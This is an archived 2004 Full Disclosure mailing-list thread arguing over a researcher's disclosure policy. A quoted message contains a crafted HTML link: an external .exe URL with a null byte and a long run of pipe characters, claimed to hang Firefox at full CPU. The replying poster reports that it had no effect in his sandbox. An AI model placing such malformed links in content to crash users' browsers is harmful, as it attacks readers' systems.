Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: [SPAM] Re: To anybody who's offended by my disclosure policy-GET THIS GUYS
From: Jeff Price <jprice () misterunix com>
Date: Sun, 28 Nov 2004 18:48:59 -0600

Hmmm....

I tried it on a sandboxed system with Firefox and it made no difference on CPU usage. What is this exploit supposed to do?



Rafel Ivgi, The-Insider wrote:

SkyLined is a great dude. Scerious guy!
He is only worthy for RESPECT and no blame.
There is no signed law against releasing such information and its funny
someone is anyhow talking about this in
FULL-DISCLOSURE list, which its entire concept is to disclose full details
about vulnerabilities.

By the way, for all of FireFox fans....FireFox has many open vulnerabilities
which its vendor refuses to fix. Even after notifing
and even after 4 month :-)...Moreover, they are just like MS claiming
certain bugs are not bugs, talking "in the air" and without checking
and under-blowing risk values. They even don't sign their exe's(which is a
super minimal protection against man-in-the-middle replacing downloads) so
microsoft windows can't say its a valid file from a valid vendor and not a
virus.

For Example:
<a
href='http://theinsider.deep-ice.com/ctfmon.exe%00/hehe.exe.||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
||||||||||||||||||||||||||||||
'>test it</a>

This has no effect on I.E......
Will cause LooserFox, ahh sorry, FireFox to ***BURN ALL YOU CPU!!! 100%
FOREVER...***
What i am saying is, it is now who codes the software, it is how you do.
(if i was not in a job working frame, i would publishing things that will
cause you all to say its shit)
FireFox team claimed its an old bug.bla bla bla.and has no problem and no
security risk...bla bla bla... and didn't fix it after 4 month...
Just like MS when they are not even commercial, than what they are? on the
way to making money...to be the second size'd market share browser.

GO SKYLINED!

Rafel Ivgi, The-Insider
Security Consultant
Malicious Code Research Center (MCRC)
Finjan Software LTD
E-mail: rivgi () Finjan com
---------------------------------
Prevention is the best cure!
----- Original Message ----- From: "ph0enix" <ph0enix () ph0enix org>
To: "'Gadi Evron'" <ge () linuxbox org>
Cc: "'Berend-Jan Wever'" <skylined () edup tudelft nl>;
<full-disclosure () lists netsys com>
Sent: Saturday, November 27, 2004 5:56 PM
Subject: Re: [Full-disclosure] To anybody who's offended by my disclosure
policy


Question is, do you want to be one of the kids playing and ruining
lives, or do you want to be one of the people who report
problems and do something about them - plus get attention, respect and
all
the rest?
The guy has talent? Fine by me. I wish him all the luck.

This is not about full disclosure. I can live with Full Disclosure. I
can't like with kids who think they own the world and want to
pwn the world.

Gadi.
Why do you think he's just a kid who's playing around and runining lives?

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


-----------------------------------------------
This message was scanned for malicious content and viruses by Finjan Internet Vital Security 1Box(tm)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault